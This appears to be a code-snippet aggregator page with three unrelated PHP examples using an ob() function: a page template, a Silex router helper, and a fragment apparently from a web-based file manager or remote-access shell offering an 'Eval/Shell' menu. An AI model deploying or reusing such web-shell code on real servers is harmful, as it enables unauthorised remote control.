Esempio n. 1
0
        </div><!-- .main-section -->
<?php 
$p['main_section_end'] = ob();
?>

    </div><!-- .page-body -->
</div><!-- .page-body-container -->
</div><!-- .page-top-wrapper -->
<?php 
$p['page_body_end'] = ob();
?>

<div id="the-foot" class="page-foot-container core-grid">
    <div class="page-foot core-doc-elastic core-doc-medium core-grid-row core-col-set-13">
        <div class="core-col core-col-1">
            &nbsp;
        </div>
        <div class="core-col core-col-2">
            <div class="meta" id="copyright">%(copyright)s</div>
            <div class="meta" id="credit">%(credit)s</div>
        </div>
    </div>
</div><!-- .page-foot -->
<?php 
$p['page_foot'] = ob();
?>

<?php 
ob(TRUE);
Esempio n. 2
0
         exit("<font color=red><b>" . mm("Sorry, access denied") . "</b></font> {$obb}");
     }
     if (!isset($ref)) {
         $ref = "{$self}?c=l&d=" . urlencode($df);
     }
     Header("Location: {$ref}");
     echo "<a href='{$ref}'>NEW FILE SAVED</a>";
     break;
 case "newdir_submit":
     if (!$write_access) {
         exitw();
     }
     if (!isset($df)) {
         exit("err# newdir_submit 1");
     }
     ob();
     if (!mkdir($df, $mkdir_mode)) {
         obb();
         exit("Access denied {$obb}");
     }
     obb();
     if (!isset($ref)) {
         $ref = "{$self}?c=l&d=" . urlencode($df);
     }
     Header("Location: {$ref}");
     echo "<a href='{$ref}'>Go to new directory!</a>";
     break;
 case "t":
     echo "<h3>\n   <a href='{$self}'>START PAGE</a> |\n   <a href='{$self}?c=t'>Eval/Shell</a> | \n   <a href='{$self}?c=codes'>Character map</a>\n   </h3>";
     if (!$write_access) {
         exitw();
Esempio n. 3
0
$app['debug'] = true;
// paths to application
$p = __DIR__ . '/web/source/index.html';
// $q = __DIR__ . '/web-es/source/index.html';
/*
    // handles www.arcmarks.com/es requests
    $app->get('/es', function() use($app, $q) {
        return ob($q);
    });

    // handles www.arcmarks.com/name requests
    $app->get('/{name}', function($name) use($app, $p) {
        global $pub_req;
        $pub_req = $name;
        return ob($p);
    });
*/
// handles www.arcmarks.com requests
$app->get('/', function () use($app, $p) {
    return ob($p);
});
// boilerplate
$app->run();
function ob($path)
{
    ob_start();
    include $path;
    $string = ob_get_contents();
    ob_end_clean();
    return $string;
}